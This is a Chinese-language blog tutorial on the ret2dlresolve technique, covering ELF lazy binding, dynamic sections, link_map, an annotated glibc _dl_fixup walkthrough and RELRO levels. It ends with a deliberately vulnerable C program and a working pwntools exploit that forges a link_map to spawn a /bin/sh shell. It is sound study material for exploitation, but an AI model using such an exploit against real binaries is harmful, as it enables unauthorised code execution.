深入浅出Ret2dlresolve

发布时间 2023-09-27 16:18:57作者: Sta8r9

深入浅出探究Ret2dlreslove

前言

    这个手法是国外作者在2015年提出的,当时的的漏洞利用通常包含两个阶段:第一步先通过信息泄露获得程序的内存布局;第二步才进行实际的漏洞利用。但就是有时候获得不到程序的内存布局,或者获得的被破坏的内存有时不可靠。于是作者提出了ret2dl-resolve,巧妙地利用了ELF格式以及动态装载器的弱点,不需要进行信息泄露,就可以直接标识关键函数的位置并调用。因此,笔者认为该手法的经典之处在于不需事先泄露共享库加载地址libc基地址)也可以调用到共享库函数,故而不针对需要泄露地址才能成功的情况进行记录。

由于此文只是对于本人学习该手法的一个简单归档,所以一些简单的概念不再赘述。

Ret2dlreslove原理

    动态链接的elf文件由于采用了延迟绑定技术,在首次调用外部函数时才会去解析该函数的真实地址,即调用_dl_runtime_reslove进行地址解析,得到实际地址后会回写got表并执行。Ret2dlreslove就是在这一过程中对相关结构体进行伪造,利用函数_dl_runtime_resolve的内部逻辑使得程序解析出一个恶意函数例如execve并执行。

前置知识

延迟绑定

是什么

    动态链接的程序在启动时不需要装载外部引用函数的地址,而是在第一次调用外部函数时才会去通过_dl_runtime_reslove(link_map,offset)解析函数的真实地址并回写got.plt表(修正外部函数的引用)。

如何实现

    如下图,在第一次调用外部引用函数read时,程序先跳转到readGOT表,而此时那里并不是read的真实地址,而是readplt表地址,因此程序又跳转到了read@plt,执行了push numnumread的重定位表项相对于重定位段的偏移) jmp PLT[0],再执行push GOT[1]->link_map,jmp GOT[2]->_dl_runtime_reslove,由_dl_runtime_reslove进行符号解析与重定位。

dlreslove.drawio

ELF文件中动态链接相关段简述

.dynamic

该节存放了许多Elf64_Dyn结构体,在IDA中位于got表的上面,保存了动态链接器所需要的基本信息,比如存放了ELF文件其他节的标识和起始地址。结构体定义如下所示。

typedef struct {
    Elf64_Sxword d_tag;//动态段标识号  
    
    Elf64_Sxword d_un //动态段起始地址
} Elf64_Dyn;

其中关键字d_tag定义如下:

/* Legal values for d_tag (dynamic entry type).  */
#define DT_NULL                0                /* Marks end of dynamic section */
#define DT_NEEDED              1                /* Name of needed library */
#define DT_PLTRELSZ            2                /* Size in bytes of PLT relocs */
#define DT_PLTGOT              3                /* Processor defined value */
#define DT_HASH                4                /* Address of symbol hash table */
#define DT_STRTAB              5                /* Address of string table */
#define DT_SYMTAB              6                /* Address of symbol table */
#define DT_RELA                7                /* Address of Rela relocs */
#define DT_RELASZ              8                /* Total size of Rela relocs */
#define DT_RELAENT             9                /* Size of one Rela reloc */
#define DT_STRSZ              10                /* Size of string table */
#define DT_SYMENT             11                /* Size of one symbol table entry */
#define DT_INIT               12                /* Address of init function */
#define DT_FINI               13                /* Address of termination function */
#define DT_SONAME             14                /* Name of shared object */
#define DT_RPATH              15                /* Library search path (deprecated) */
#define DT_SYMBOLIC           16                /* Start symbol search here */
#define DT_REL                17                /* Address of Rel relocs */
#define DT_RELSZ              18                /* Total size of Rel relocs */
#define DT_RELENT             19                /* Size of one Rel reloc */
#define DT_PLTREL             20                /* Type of reloc in PLT */
#define DT_DEBUG              21                /* For debugging; unspecified */
#define DT_TEXTREL            22                /* Reloc might modify .text */
#define DT_JMPREL             23                /* Address of PLT relocs */
#define DT_BIND_NOW           24                /* Process relocations of object */
#define DT_INIT_ARRAY         25                /* Array with addresses of init fct */
#define DT_FINI_ARRAY         26                /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ       27                /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ       28                /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH            29                /* Library search path */
#define DT_FLAGS              30                /* Flags for the object being loaded */
#define DT_ENCODING           32                /* Start of encoded range */
#define DT_PREINIT_ARRAY      32                /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ    33                /* size in bytes of DT_PREINIT_ARRAY */
#define DT_SYMTAB_SHNDX       34                /* Address of SYMTAB_SHNDX section */
#define DT_NUM                35                /* Number used */

.rel.plt

该节存放了许多Elf64_Rela结构体,是对函数引用的修正,修正的位置在got.plt表,每个libc库函数都有自己的Elf64_Rela结构体。在程序入口附近,位于LOAD段。

typedef struct {
    Elf64_Addr r_offset;  /* 表示重定位所作用的虚拟地址或相对基地址的偏移,got表地址 */  *****************
    Elf64_Xword r_info;   /* 这是一个复合值,重定位类型和符号表下标 */    *********************************
    Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;

r_info是一个复合值,其高32位表示该重定位项在动态链接符号表.dynsym中对应项的下标低32位表示该重定位项的重定向类型

重定位类型(Relocation Types)

/* i386 relocs.  */
#define R_386_NONE     0  /* No reloc */
#define R_386_32       1  /* Direct 32 bit  */
#define R_386_PC32     2  /* PC relative 32 bit */
#define R_386_GOT32    3  /* 32 bit GOT entry */
#define R_386_PLT32    4  /* 32 bit PLT address */
#define R_386_COPY     5  /* Copy symbol at runtime */
#define R_386_GLOB_DAT 6  /* Create GOT entry */
#define R_386_JMP_SLOT 7  /* Create PLT entry */
#define R_386_RELATIVE 8  /* Adjust by program base */
......

/* AMD x86-64 relocations.  */
#define R_X86_64_NONE      0  /* No reloc */
#define R_X86_64_64        1  /* Direct 64 bit  */
#define R_X86_64_PC32      2  /* PC relative 32 bit signed */
#define R_X86_64_GOT32     3  /* 32 bit GOT entry */
#define R_X86_64_PLT32     4  /* 32 bit PLT address */
#define R_X86_64_COPY      5  /* Copy symbol at runtime */
#define R_X86_64_GLOB_DAT  6  /* Create GOT entry */
#define R_X86_64_JUMP_SLOT 7  /* Create PLT entry */
#define R_X86_64_RELATIVE  8  /* Adjust by program base */
#define R_X86_64_GOTPCREL  9  /* 32 bit signed PC relative offset to GOT */
......

32位ELF一般用来函数重定位的重定位类型就是R_386_JMP_SLOT类型,64位ELF函数重定位的重定位类型就是R_X86_64_JUMP_SLOT类型,源码对其的注释是Create PLT entry。这种类型的函数重定位都会在ELF中创建一个PLT入口

.dynsym

该节存放了许多Elf64_Sym结构体,同样地,每个libc函数都有自己的Elf64_Sym。在程序入口附近,位于LOAD段。

typedef struct {
  Elf64_Word    st_name;  /* 符号名,符号在字符串表STRTAB中的偏移 */**************************
  unsigned char st_info;  /* 符号类型及绑定属性 */
  unsigned char st_other; /* 符号的可见性,为0代表函数的相对于共享库的加载地址的偏移未知,不为0代表偏移已知 */ ********************
  Elf64_Section st_shndx; /* 节头表索引 */
  Elf64_Addr    st_value; /* 符号的值,函数的相对于共享库的加载地址的偏移 */************************
  Elf64_Xword   st_size;  /* 符号的大小 */
} Elf64_Sym;
  1. st_info大小为 1 Btyes,高4位表示符号的绑定特征,低4位表示符号类型。

绑定特征(高四位)

#define STB_LOCAL   0       /* Local symbol  局部符号(本文件可见) */
#define STB_GLOBAL  1       /* Global symbol 全局符号(多文件可见) */
#define STB_WEAK    2       /* Weak symbol 弱符号,即遇到同名的符号优先弃用该符号的声明*/
#define STB_NUM     3       /* Number of defined types.  */
#define STB_LOOS    10      /* Start of OS-specific */
#define STB_GNU_UNIQUE  10      /* Unique symbol.  */
#define STB_HIOS    12      /* End of OS-specific */
#define STB_LOPROC  13      /* Start of processor-specific */
#define STB_HIPROC  15      /* End of processor-specific */

绑定特征0,1,2均可取

符号类型(低四位)

#define STT_NOTYPE  0       /* Symbol type is unspecified */
#define STT_OBJECT  1       /* Symbol is a data object */
#define STT_FUNC    2       /* Symbol is a code object */
#define STT_SECTION 3       /* Symbol associated with a section */
#define STT_FILE    4       /* Symbol's name is file name */
#define STT_COMMON  5       /* Symbol is a common data object */
#define STT_TLS     6       /* Symbol is thread-local data object*/
#define STT_NUM     7       /* Number of defined types.  */
#define STT_LOOS    10      /* Start of OS-specific */
#define STT_GNU_IFUNC   10  /* Symbol is indirect code object */
#define STT_HIOS    12      /* End of OS-specific */
#define STT_LOPROC  13      /* Start of processor-specific */
#define STT_HIPROC  15      /* End of processor-specific */

函数和变量分别取1, 2 即可

那么稍微总结一下得到st_info取值的一般规律如下:

绑定函数:        st_info = 0x12 例如: read,printf,__libc_start_main
绑定全局变量:    st_info = 0x11 例如: stdin,stdout,_IO_stdin_used
绑定弱变量:      st_info = 0x20 例如: __gmon_start__

.dynstr

即字符串表(STRTAB),该节存放的是libc函数的符号名,就是一个一个的字符串,诸如此类'exit'、'read'。在程序入口附近,位于LOAD段。

link_map是描述已加载的共享对象的结构体,采用双链表管理,该数据结构保存在ld.so.bss段中。

struct link_map  {   
      
    ElfW(Addr) l_addr;     /*共享对象的加载基址;*/            
    char *l_name;                
    ElfW(Dyn) *l_ld;                   
    struct link_map *l_next, *l_prev; /*管理link_map的双链表指针;*/
    struct link_map *l_real;        
    Lmid_t l_ns;    	
    struct libname_list *l_libname;     
    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];    /*保存Elfxx_Dyn结构体指针的列表,用来寻找各节基址;如l_info[DT_STRTAB]指向保存着函数解析字符串表基址的Elfxx_Dyn结构体。*/
    const ElfW(Phdr) l_phdr;          
    ElfW(Addr) l_entry;                 
    ElfW(Half) l_phnum;                   
    ElfW(Half) l_ldnum;                


dl_runtime_resolve解析

该函数的作用主要分为两部分,符号解析地址重定位,此手法是在符号解析部分做文章,因此在这里只讨论该函数进行符号解析的过程。

语言简述

  • 根据offset找到待解析函数对应的ELF_Rela结构体

  • 根据ELF_Rela->r_offset获得解析出真实地址后回写所需的GOT表地址,通过ELF_Rela->r_offset>>8找到待解析函数对应的Elf64_Sym

  • 根据Elf64_Sym->st_name找到待解析函数在字符串表STRTAB中对应的符号名。

image-20230923213336838

源码层面分析

    如下图,程序进入dl_runtime函数后的调用链。其中,符号解析主要由_dl_fixup函数完成(接收参数与dl_runtime一样,返回待解析函数真实地址),在该函数内部调用了_dl_lookup_symbol_x函数(接收参数包含待解析函数的符号名link_map结构体,返回值为共享库加载地址即libc基地址并计算出了待解析函数的偏移,此时rdx寄存器地址加8字节即为该偏移),这个dl_lookup_symbol_x函数主要负责地址解析

dlreslove.drawio

这里重点分析_dl_fixup函数。

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElW(Word) reloc_arg)//    (link_map,offset)
{ 

  /*#define D_PTR(map, i) \       D_PTR是一个宏定义,用于通过linkmap寻址 glibc/sysdeps/generic/ldsodefs.h
  ((map)->i->d_un.d_ptr + (dl_relocate_ld (map) ? 0 : (map)->l_addr))*/
  //ELFW宏用来拼接字符串,在这里实际上是为了自动兼容32和64位,Elf32_Sym或Elf64_Sym
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);
  
  //通过link_map结构获取重定位表.rel.plt中所求函数的重定位项的地址
    //reloc_offset为所解析函数的重定位项在重定位表.rel.plt中的偏移
  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL])
		      + reloc_offset (pltgot, reloc_arg));

  //求出所求函数在动态链接符号表.dynsym中对应符号项的地址
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;

  //l_addr是共享库或可执行文件加载基址,rel_addr是重定位需要修改内容的地址,也就是.got.plt中所求函数对应项
    //r_offset为相对虚拟地址,rel_addr为虚拟地址
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

  lookup_t result; //查找函数的结果,其为定义函数的共享对象的加载基地址
  DL_FIXUP_VALUE_TYPE value;  //DL_FIXUP_VALUE_TYPE是fixup/profile_fixup返回值的类型。用于保存函数的真实地址。

  /* Sanity check that we're really looking at a PLT relocation.  */
   /* 安全性检查,我们需要确定它是一个PLT的重定位项 */  //r_info的低8位为重定位类型设置为7意味着它是一个PLT的重定位项
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
      /* 查找目标符号。如果未使用常规查找规则,则不要在全局范围内查找。 */
  
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)    //if(sym->st_other==0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

      /* We need to keep the scope around so do some locking.  This is
	 not necessary for objects which cannot be unloaded or when
	 we are not using any threads (yet).  */
   /* 我们需要保持范围不变,因此需要进行一些锁定。 对于无法卸载的对象或尚未使用任何线程的对象,这不是必需的。  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
	{
	  THREAD_GSCOPE_SET_FLAG ();
	  flags |= DL_LOOKUP_GSCOPE_LOCK;
	}

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif
//strtab + sym->st_name为所解析函数的符号在字符串表中的地址,result为定义函数的共享对象的加载基地址即libc基地址
        //_dl_lookup_symbol_x的功能是在加载的共享对象的符号表中搜索符号的定义,其参数也许带有该符号的版本。
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,/////////////////////////////////////////////////////////////////////////////
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      /* 我们已经完成了全局范围的工作。 */
      if (!RTLD_SINGLE_THREAD_P)
	THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* 当前result包含定义sym的共享对象的加载基地址(或link map)。 现在添加符号偏移量。 */
        //value为所求函数的真实内存地址
        //SYMBOL_ADDRESS(map, ref, map_set):如果ref不是NULL,则使用映射MAP中的基地址来计算符号引用的地址。 
        //如果MAP_SET为TRUE,请勿检查NULL映射。

      /* Currently result contains the base load address (or link map)
	 of the object that defines sym.  Now add in the symbol
	 offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,      ///////////////////////////////////////////////////////////////////////////////////////////////////////
				   SYMBOL_ADDRESS (result, sym, false));
    }
  else//未使用常规查找规则
    {/*我们已经找到符号了。模块(以及它的负载)
地址)也是已知的。* /
      /* We already found the symbol.  The module (and therefore its load
	 address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));////////////////////////////////////////////////////////////////////////////////////////
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  //现在也许是重新定位的加法。
  //elf_machine_plt_value返回PLT重定位的最终值。在x86-64上JUMP_SLOT重定位忽略addend。
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

#ifdef SHARED
  /* Auditing checkpoint: we have a new binding.  Provide the auditing
     libraries the possibility to change the value and tell us whether further
     auditing is wanted.
     The l_reloc_result is only allocated if there is an audit module which
     provides a la_symbind.  */
     /*审计检查点:我们有一个新的绑定。提供审计
库提供了更改值的可能性,并告诉我们是否进一步更改
需要审计。
l_reloc_result仅在存在审计模块时才会被分配
提供一个la_symbind。*/
  if (l->l_reloc_result != NULL)
    {
      /* This is the address in the array where we store the result of previous
	 relocations.  */
      struct reloc_result *reloc_result
	= &l->l_reloc_result[reloc_index (pltgot, reloc_arg, sizeof (PLTREL))];
      unsigned int init = atomic_load_acquire (&reloc_result->init);
      if (init == 0)
	{
	  _dl_audit_symbind (l, reloc_result, sym, &value, result);

	  /* Store the result for later runs.  */
	  if (__glibc_likely (! GLRO(dl_bind_not)))
	    {
	      reloc_result->addr = value;
	      /* Guarantee all previous writes complete before init is
		 updated.  See CONCURRENCY NOTES below.  */
	      atomic_store_release (&reloc_result->init, 1);
	    }
	}
      else
	value = reloc_result->addr;
    }
#endif

  /* Finally, fix up the plt itself.  */
  /* 最后,修复PLT本身。 */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
//向所查找函数对应的GOT表中填写找到的函数的真实地址。
  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

RELRO(重定位段只读保护)

该保护分可为三个等级。

NO RELRO

保护未开的情况,所有重定位段均可写,包括.dynamic.got.got.plt

Partial RELRO

部分开启保护.dynamic、.got被标记为只读,并且会强制地将ELF的内部数据段 .got 、.got.plt等放到外部数据段 .data、.bss之前,这样可以防止数据溢出时破坏GOT表。

QQ截图20230924102004

Full RELRO

继承Partial RELRO的所有保护,并且.got.plt也被标为只读。实际上在IDA中反编译程序会看到,此时已经不区分got表和got.plt表,而是统一显示为got表。

QQ截图20230924102849

64位下无输出函数利用方法(二级保护)

引例源码

//gcc fixup.c -o part -z lazy -no-pie -fno-stack-protector
//编译于Ubuntu 18.04
//Ubuntu GLIBC 2.35-0ubuntu3.1
#include <stdio.h>
int readn(){
    int num=0;
    char buf[32];
    num=read(0,buf,0x100);
    return num; 
}

int main(){

    readn();

    exit(0);
}

利用思路

伪造link_map和相关字段值,调用dl_runtime_reslove函数进行解析。

限制条件:
  • 需要可以控制执行流
  • 需要有可写的内存区域
  • 需要知道libc版本

利用模板

#Ubuntu GLIBC 2.35-0ubuntu3.1

from tools import *
context(log_level="debug")
p,elf,libc=load("part")
global linkmap_addr
global custom_data_addr
#pwnable.tw unexploitable 




def forge_linkmap(linkmap_addr, known_libc_RVA, call_libc_RVA, known_elf_got_VA, arch='x64',custom_data=b""):
    
    assert isinstance(custom_data, bytes)	//检查custom_data是否为bytes类型

    DT_STRTAB = 5
    DT_SYMTAB = 6
    DT_JMPREL = 23
    print_info(call_libc_RVA- known_libc_RVA)
    l_addr = (call_libc_RVA- known_libc_RVA) & 0xffffffffffffffff
    log_addr("l_addr")
    execve_got=0x601000
    print_info(execve_got-l_addr)
    execve_got=(execve_got-l_addr)&0xffffffffffffffff
    log_addr("execve_got")
    binsh = 0

    fake_rel_entry = b""   # fake entry
    writable_addr = 0      # got rewrite addr, must writable

    padding_byte = b"\x00"

    if arch=='x64':
        sizes = {
            "size_t":0x8,
            "l_addr":0x8,
            "l_info_offset":0x40,
            "Elf_Dyn":0x10,
            "Elf_Rel":0x18,
            "Elf_Sym":0x18,
        }
        pck = p64
        writable_addr = linkmap_addr + sizes['l_info_offset'] - sizes['size_t']
        fake_rel_entry = pck(execve_got)+ pck(7) + pck(0) # r_offset + r_info + r_addend : got_VA=writable_addr + <INDEX=0>|<TYPE=7> + whatever
    else:
        sizes = {
            "size_t":0x4,
            "l_addr":0x4,
            "l_info_offset":0x20,
            "Elf_Dyn":0x8,
            "Elf_Rel":0x8,
            "Elf_Sym":0x10,
        }
        pck = p32
        writable_addr = linkmap_addr + sizes['l_info_offset'] - sizes['size_t']
        fake_rel_entry = pck(writable_addr) + pck(7) # r_offset + r_info : got_VA=writable_addr + <INDEX=0>|<TYPE=7>

    
    l_info_offset = lambda idx : sizes["l_info_offset"] + idx*sizes["size_t"]

    # fill in l_info.
    # e.g. l_info[DT_STRTAB] = fake_dyn_strtab_entry_addr
    fake_dyn_strtab_entry_addr = linkmap_addr               + sizes['l_addr' ] #指向了代码第77行的fake_dyn_strtab_entry 结构体
    fake_dyn_jmprel_entry_addr = fake_dyn_strtab_entry_addr + sizes['Elf_Dyn']
    fake_dyn_symtab_entry_addr = fake_dyn_jmprel_entry_addr + sizes['Elf_Dyn']

    fake_str_entry_addr = 0                                             # dlresolve: func str addr whatever
    fake_rel_entry_addr = linkmap_addr + sizes['l_info_offset']         # avoid program crash, must writable
    fake_sym_entry_addr = known_elf_got_VA - sizes['size_t']            # dlresolve: got entry and fake sym entry overlap

    fake_dyn_strtab_entry = pck(DT_STRTAB) + pck(fake_str_entry_addr) # Elf_Dyn: d_tag + d_ptr         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    fake_dyn_symtab_entry = pck(DT_SYMTAB) + pck(fake_sym_entry_addr) # Elf_Dyn: d_tag + d_ptr          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    fake_dyn_jmprel_entry = pck(DT_JMPREL) + pck(fake_rel_entry_addr) # Elf_Dyn: d_tag + d_ptr      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

#^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    # Forge fake linkmap struct
    linkmap  = pck(l_addr)                       # diff between func A and func B: call_RVA - known_RVA
    # Three fake dyn entry
    linkmap += fake_dyn_strtab_entry             # point to fake_str_entry
    linkmap += fake_dyn_jmprel_entry             # point to fake_rel_entry
    linkmap += fake_dyn_symtab_entry             # point to fake_sym_entry which overlaps with got entry

    # Padding until l_info array start
    linkmap  = linkmap.ljust(sizes["l_info_offset"],padding_byte)

    # Insert fake str entry before l_info[DT_STRTAB]
    linkmap += fake_rel_entry                    # l_info[0]、l_info[1]、l_info[2] 对攻击没有影响,所幸将rel结构体的内容放在从这个内存单元开始的三个内存单元:Elf64_Rel=p64(linkmap_addr + 0x40 - 0x8)+p64(7)+p64(whatever)
    linkmap  = linkmap.ljust(l_info_offset(DT_STRTAB), padding_byte)#从_info[3]、l_info[4]填充成垃圾数据

    # l_info list: each element is a pointer to a specific Elf_Dyn entry
    linkmap += pck(fake_dyn_strtab_entry_addr)   # l_info[DT_STRTAB], just readable addr actually   l_info[5],填上 fake_dyn_strtab_entry_addr,这个地址间接指向(dyn)了fake_dyn_strtab_entry:p64(5)+p64(strtab_address)
    linkmap += pck(fake_dyn_symtab_entry_addr)   # l_info[DT_SYMTAB]                l_info[6],填上 fake_dyn_symtab_entry_addr,这个地址指向了fake_dyn_symtab_entry:p32(st_name)+p32(st_info)+p32(st_other)+p32(st_shndx)+p32(st_value)+p32(st_size)

    
    padding_size = l_info_offset(DT_JMPREL) - l_info_offset(DT_SYMTAB) - sizes['size_t'] #算一下从l_info[7]开始到l_info[23]之间有多少字节空闲内存

    # ,如果大于我们要填的后门函数的参数的字符串的长度就把字符串“/bin/sh”填进入
    if(len(custom_data)<=padding_size):
        linkmap += custom_data
        custom_data_addr = linkmap_addr +  l_info_offset(DT_SYMTAB) + sizes['size_t']
        
    linkmap  = linkmap.ljust(l_info_offset(DT_JMPREL),padding_byte)
    linkmap += pck(fake_dyn_jmprel_entry_addr)   # l_info[DT_JMPREL]  l_info[23],填上 fake_dyn_jmptab_entry_addr,这个地址指向了fake_dyn_jmptab_entry

    # otherwise, place custom_data on the bottom
    # it will enlarge fake link_map size
    if(len(custom_data)>padding_size):
        linkmap += custom_data
        custom_data_addr = linkmap_addr +  l_info_offset(DT_JMPREL) + sizes['size_t']

    return linkmap,custom_data_addr



main=0x00000000400537
csu1=0x00000000004005EA
csu2=0x00000000004005D0
binsh=0x0000000000601038
read_got=0x0000000000601018
pop_rdi=0x00000000004005f3
dl_runtime=0x601010
writable_addr=0x00000000601028
kong=0x600e48   
_dl_runtime_resolve_xsavec=0x400426
execve_off=0xeb0f0
read_off=0x114980
#custom_data_addr=16
fake_link_map,custom_data_addr=forge_linkmap(writable_addr,read_off,execve_off,0x0000000000601018, arch='x64', custom_data=b"/bin/sh\x00")
#print(fake_link_map,custom_data_addr)#findlly, write execve to read_got
debug(p)

payload=cyclic(0x38)+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(writable_addr)+p64(0x100)+p64(csu2)+p64(0)*7+p64(main)
p.send(payload)

pause()
p.send(fake_link_map)

pause()
payload=cyclic(0x38)+p64(csu1)+p64(0)+p64(1)+p64(kong)+p64(custom_data_addr)+p64(0)+p64(0)+p64(csu2)+p64(0)*7+p64(_dl_runtime_resolve_xsavec)+p64(writable_addr)+p64(0)+p64(main)
p.send(payload)



p.interactive()

相关链接

附件:https://pan.baidu.com/s/16o1LLcLES0NoP9y1UzoEHw?pwd=1234

提取码:1234

参考链接:

Ret2dlresolve攻击——从No RELRO到FULL RELRO | T3stzer0's Blog (testzero-wz.com)

ret2_dl_runtime_resolve详解 | Sp4n9x's Blog